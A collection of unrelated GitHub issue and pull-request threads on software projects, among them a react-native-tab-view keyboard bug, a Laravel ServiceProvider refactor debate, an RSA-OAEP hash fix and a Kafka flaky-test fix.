table.dynamodb.services.k8s.aws/ack-test-smoke-dynamodb created
table.dynamodb.services.k8s.aws "ack-test-smoke-dynamodb" deleted
smoke took 113 second(s)
To resume test with the same cluster use: "-c /home/jaypipes/go/src/github.com/aws/aws-controllers-k8s/scripts/../build/tmp-test-5acfde48"

Issue #206
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

@A-Hilaly @nithu0115 @vijtrip2 @mhausenblas OK, this is ready for review now. Thanks!


Terminal font

Thanks for the great tool.  Is there a way to view the Terminal font?

I presume this has something to do with the fact that the Terminal font is neither OpenType or TrueType

Yes, DirectWrite does not actually support the legacy bitmapped format Terminal is using, so will likely never be seen in XAML.


TextInput in Tab bug

Hi 2 all y'all. Sorry for my poor english. I got a trouble with TextInputs inside the Tab. When i press a key on keyboard when i enter the value in field, i got a bug: when i press the button, i got one symbol in field and keyboard got close. If i place TextInput outside the Tab everything works fine.
"expo": "~38.0.8",
"react-native-gesture-handler": "1.6.0",
"react-native-tab-view": "2.15.0",
"react-native-reanimated": "1.9.0"

I had to update versions of packeges, but i still got trouble

i have  "react-native-gesture-handler": "^1.7.0", but having same issue

i have  "react-native-gesture-handler": "^1.7.0",  when i type in text input one letter keyboard disappeared

There is any solution for this problem or not plz tell me

@satya164  plz tell me so that i can use this in my project i searched online but not found solution

@satya164  anyone here to help or not

@satya164 anyone here to help or not

I had migrated to Swiper solution, all working fine

same issue +1
anyone have solution?
If put value and onChangeText prop in TextInput the keyboard disappears whenever type.

Same issue here =(

hello，everyone！
i use ref auto focus in the setState callback.

it work for me.

Same issue here =(

This will work.
const [index, setIndex] = useState(0);
const [routes] = useState([
  {key: 'one', title: 'tabOne'},
  {key: 'two', title: 'tabTwo'},
  {key: 'three', title: 'tabThree'},
]);

const [inputA, setInputA] = useState('');
const [inputB, setInputB] = useState('');
const [inputC, setInputC] = useState('');

// ~~~~
// ~~~~

const _renderTabs = ({route}) => {
  switch (route.key) {
    case 'one':
      return (
        <View><TextInput value={inputA} onChangeText={setInputA} /></View>
      )

    case 'two':
      return (
        <View><TextInput value={inputB} onChangeText={setInputB} /></View>
      )

    case 'three':
      return (
        <View><TextInput value={inputC} onChangeText={setInputC} /></View>
      )
  }
});

<TabView
  swipeEnabled={true}
  renderTabBar={() => null}
  navigationState={{index, routes}}
  renderScene={_renderTabs}
  onIndexChange={setIndex}
/>

Any solution for this?

<TabView
  swipeEnabled={true}
  renderTabBar={() => null}
  navigationState={{index, routes}}
  renderScene={_renderTabs}
  onIndexChange={setIndex}
/>

It Showing a Black Screen for me

Try this.
It worked for me.

#1181

Any slolution?


ifdef out code which is not used

ifdef out code which is not used.
Unused function were found by compiling and linking with gcc options  -fdata-sections -ffunction-sections  -Wl,--gc-sections,--print-gc-sections.  gcc then reports unused functions at link time. I built vim with tiny/small/normal/big/huge features, with various guis and disabled unused code.
Not done:

many symbols could be ifdef out in errors.h.  I can do it as a separate PR if deemed useful enough
many symbols are also unused in xdiff/*.c as when FEAT_DIFF is not enabled.
for a few symbols, the expression to disable symbols could be too complex so I did not disable them.

Thanks for looking into this.  When moving messages to errors.h I only added the most obvious #ifdefs.  I was wondering what the best way was to do the rest.  If you can do this with gcc that would be best.


support ObjectManager interface

getPartialReference and getReference are defined later in EntityManager, but I guess it does not matter here.


iOS7 support

For some reason or another, the RegEx pod compiled but when I run, I get this:
-[NSRegularExpression initWithPattern:]: unrecognized selector sent to instance 0xc2a2160

It looks like the actual call we want to be using here is:
- (id)initWithPattern:(NSString *)pattern options:(NSRegularExpressionOptions)options error:(NSError **)error

I just installed this library using CocoaPod and I am seeing the above issue on ios 7 running on simulator. I tried this example code:
BOOL isMatch = [@"I have 2 dogs." isMatch:RX(@"\\d+")];

and the app crashes with:
Uncaught exception: -[NSRegularExpression initWithPattern:]: unrecognized selector sent to instance 0x7ff089d472b0
Does anyone know why this happens and how to fix it?

I found the reason. It was an issue with the pod installation. For some reason, this library was not linked properly. It was not listed under 'other linker flags' for main target. Adding it fixed the issue.

Don't worry I've not had this issue for a while now. Thanks for your help!

I occurred this situation too, was using Regex in my static library, and link my library to my swift target.
my solution is set the other link flag "-all_load" on my swift target.


Deprecate outdate freshness syntax

Description & motivation
Looks like the old syntax of freshness: {} does not work anymore and will still run the freshness test against the table that has an emptied out config. The null flag still works and does also look like the cleaner implementation. I opted to just drop the old syntax altogether.

Assigning to @drewbanin since this was counter to my understanding, and he is closer to the product!

No problem at all @drewbanin. I know things can get hectic and thanks!!! 🙏


Create 20230920

i haven't done this in a while.
send me any improvements i can make next time to make this easier on you.
<EMAIL_ADDRESS>

This will be included in an update very soon.


Make consistent the disuse of helper functions within ServiceProviders

Following on #18506, this branch further refactors DatabaseServiceProvider, NotificationServiceProvider, and PaginationServiceProvider, and updates the signatures of Application::databasePath(), Application::configPath(), Application::bootstrapPath(), and Application::basePath() to support a $path argument, making consistent the path accessing part of Application's API.
Thank you for your consideration.

Is there going to be more of these changes? TBH I'm not 100% fired up about changing all this to support what I would consider to be a pretty gnarly edge case.

I admit it is gnarly, and I really appreciate you taking a moment to consider the changes. The alternative to these changes to have slightly modified ServiceProvider implementations in my project, which feels even gnarlier (though it does patch the problem, absent modifying the framework).
I'm pretty sure I nailed everything with this one—I failed to take the time to review all of the core ServiceProviders before making my first pull request.
Thank you again for your time.

I would suggest this goes into master/5.5 and not 5.4?
Even if not technically a breaking change; gives a reasonable chance of any issues being caught during a planned upgrade in case people are doing another gnarly stuff that could impact the other way in their own applications.

Hoping against all hope for both 5.4 and acceptance since the consistent changes I requested to Application::resourcePath() were merged into 5.4 this morning. But of course, I understand if this doesn't suit. The most important changes outlined here have to do with dis-using the helpers inside ServiceProviders.

But it's not just not using helper functions, it's changing the entire rules about what can even be done in a service provider from the framework's perspective. We would now have to always assume that people are running in this strange multi-application setup for all eternity. I'm not sure I want to take on that mental overhead.

My specific use case is esoteric; that point is not debatable, and your
long view is valid. As long as my patch approach works, I can absorb the
long-term mental work you would prefer to avoid—I can accept that
responsibility.
The helper functions are, by design, able to be overridden. If I have a
higher order global function named "database_path", it will short circuit
the dependence DatabaseServiceProvider places upon it. I don't think this
was your intention, since the helpers documentation does not specify this
overridability as a feature.
And since the helpers merely alias functions that are defined in
Application, overriding the helpers to change their behavior wouldn't be
the correct place to make such a customization; I would imagine you would
instead direct people to subclass Application, or write their own
implementation of Container.
So in a sense the overridability of the helpers and the ServiceProvider's
dependence upon them creates a vector through which bugs can be introduced.
This is the only other argument I can make, other than my own esoteric use
case, for ending the practice of calling helpers from within
ServiceProviders.
I don't, however, want to misrepresent my appreciation for what you've done
here—it really knows no bounds. The helper functions really do save time
and keep code concise that would otherwise be made less so by the necessity
of coding all application behavior with object oriented syntax.
Shortcuts are awesome; I think they should be reserved for applications
build on top of the framework.
What I am trying to do is test on the way to standardizing a pattern for
using Laravel to build plugins for WordPress. I've written my own Container
loosely based on Lumen, which is why arbitrarily replacing core
ServiceProviders is a viable strategy for me. But doing so breaks the clean
dependencies on your work which made this strategy so attractive to me.
Ultimately I'm trying to transform WordPress into a platform for shipping
some cool products. I want to build those products using the solutions
you've developed. I may be on a fool's errand, but the degree to which I've
had to study your work and WordPress has been paying huge dividends into my
work.
Thank you again for your attention to this. I know you have to make careful
choices about how you spend it.
On Mon, Mar 27, 2017 at 5:34 PM Taylor Otwell<EMAIL_ADDRESS>wrote:

But it's not just not using helper functions, it's changing the entire
rules about what can even be done in a service provider from the
framework's perspective. We would now have to always assume that people are
running in this strange multi-application setup for all eternity. I'm not
sure I want to take on that mental overhead.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/laravel/framework/pull/18521#issuecomment-289593079,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAHV_Fy-VOTtd5MyLNGFuNYB03b7LuzSks5rqCtjgaJpZM4MqZHy
.

--
Aaron Collegeman
Owner, Fat Panda
540-335-9013
<EMAIL_ADDRESS>

So, just so I understand, you don't know if your use case will work when this is merged? This is just to allow you to test some idea you have?

No, I know my use case works. I don't know if the things I want to build
will be popular. I meant market testing.
On Tue, Mar 28, 2017 at 8:53 AM Taylor Otwell<EMAIL_ADDRESS>wrote:

So, just so I understand, you don't know if your use case will work when
this is merged? This is just to allow you to test some idea you have?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/laravel/framework/pull/18521#issuecomment-289759932,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAHV_JLdOdj98LQKzdnykFy1tGiqIW6Nks5rqQLNgaJpZM4MqZHy
.

--
Aaron Collegeman
Owner, Fat Panda
540-335-9013
<EMAIL_ADDRESS>

I'll merge this one but I don't plan on devoting a lot of effort to making sure this use case works. 😬

I wouldn't expect you to. Still, your time and attention are greatly
appreciated. ❤
On Tue, Mar 28, 2017 at 9:06 AM Taylor Otwell<EMAIL_ADDRESS>wrote:

I'll merge this one but I don't plan on devoting a lot of effort to making
sure this use case works. 😬
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/laravel/framework/pull/18521#issuecomment-289763112,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAHV_PGvdp1iZcwMZHdFg2ShN9qAmDhcks5rqQXGgaJpZM4MqZHy
.

--
Aaron Collegeman
Owner, Fat Panda
540-335-9013
<EMAIL_ADDRESS>

This broke Lumen.

Ouch! I'm on drive time now. Can I research and address, or are we at an
impasse?
On Mon, Apr 3, 2017 at 5:11 PM Taylor Otwell<EMAIL_ADDRESS>wrote:

This broke Lumen.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/laravel/framework/pull/18521#issuecomment-291275286,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAHV_C3lbkEylZw0FnbRSaUIPUCy4vCOks5rsWCVgaJpZM4MqZHy
.

--
Aaron Collegeman
Owner, Fat Panda
540-335-9013
<EMAIL_ADDRESS>

My apologies for not being able to respond before now. I would be more than happy to debug whatever issue cropped up as a result of these changes. Do you have any more details? My sincerest apologies for the trouble—how can I make it up to you?


Add proper documentation on "-pc"

The actual functionality of -pc is "pending create" which creates an implicit command line option that can be used via the -cimp option on the client side.

@EliotSeattle - This PR is ready to go to master/live on Monday.


[WIP] Porting SqlDataSourceEnumerator from System.Data.Sql

This PR ports feature from System.Data.Sql for SqlDataSourceEnumerator.GetDataSources Method .  SNI changes will be available with next preview release.

Added SqlDataSourceEnumerator Public API methods
Added unit tests for feature.
endpoints for Native SNI

Is there going to be a managed implementation provided for the non-windows builds? If so would it be possible to use that one on all builds and avoid introducing new code that perpetuates the managed vs native sni.

Is there going to be a managed implementation provided for the non-windows builds?
Yes
If so would it be possible to use that one on all builds and avoid introducing new code that perpetuates the managed vs native sni.
I will be getting feedback from team on both implementations and discuss internally, How we want to manage it moving forward. It can be with AppContext Switch, not sure. I will keep you posted here.

Ok. As long as it's a consideration. I can see that it might be a good first step to use the native implementation so the results can be tested. In the long term the plan to move this library to a managed only implementation would mean that it's important to have a high quality managed implementation.

I am closing this PR as all the work done here is moved to #1430


Styled the README.md

With this styled version of the README.md file, git users can learn more about the directory.
The README.txt file should be removed.

You need to sign the CLA: http://dev.brackets.io/brackets-contributor-license-agreement.html
After that, could you rename the README.txt to README.md instead?

I just signed the CLA. I deleted the README.md file.

Any reason to close this?


Improving spanish translation for CONTRIBUTING.md

Description
Improving Spanish translation on the CONTRIBUTING file.
Pre-Submission Checklist

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the master branch of freeCodeCamp.
[x] None of my changes are plagiarized from another source without proper attribution.
[x] My article does not contain shortened URLs or affiliate links.

Type of Change

[ ]   Small bug fix (non-breaking change which fixes an issue)
[ ]   New feature (non-breaking change which adds new functionality)
[ ]   Breaking change (fix or feature that would change existing functionality)
[x]   Add new translation (feature adding new translations)

#18307

@mrcaste could you please fix the merge conflicts for this PR?

@mrcaste could you please fix the merge conflicts for this PR?

It's ready!


fix: return Native Hash Algorithm instead of signature algorithm

Issue #, if available:
Description of changes:
The extern was using SignatureAlgorithm for OAEP encryption but we should be using a hash function instead of signature algorithm because

x509.SHA256WithRSA is for signatures, not for OAEP encryption
rsa.EncryptOAEP expects a hash function, not a signature algorithm

This PR also corrects the error message "dfewqfew" to a right error message.
Squash/merge commit message, if applicable:
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Detected changes to the release files or to the check-files action

@rishav-karanjit and @rishav-karanjit, I noticed you are updating the smithy model files. Does this update need new or updated user documentation? Are you adding constraints inside list, map or union? Do you know about this issue: smithy-lang/smithy-dafny#491?

No such changes. So, I believe we can safely ignore it. Probably, something is wrong with workflow file.


KAFKA-14338: Use MockTime in RetryUtilTest to eliminate flakiness

Signed-off-by: Greg Harris<EMAIL_ADDRESS>There is existing flakiness in this test even with the previous patch to address flakiness https://github.com/apache/kafka/pull/11871
This should resolve the observed flakiness because the MockTime will only progress time when the test interacts with it.
One small change to the test was necessary: adding an explicit sleep within the retried operation in testNoBackoffTimeAndFail. Because the no-backoff case does not call the mockTime sleep, the test as-written would enter into an infinite retry loop, with every retry happening on the same mockTime timestamp. The test needed to be modified such that the retried operation advances the clock slightly to prevent this.
Additionally, revert the previous flakiness patch to restore the original 100ms timeouts, down from 10 seconds.
This should be backported to every branch that the previous flakiness fix was applied to: 2.6, 2.7,  2.8, 3.0, 3.1, 3.2, 3.3. Thanks!
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

Test failures appear unrelated; merging to trunk.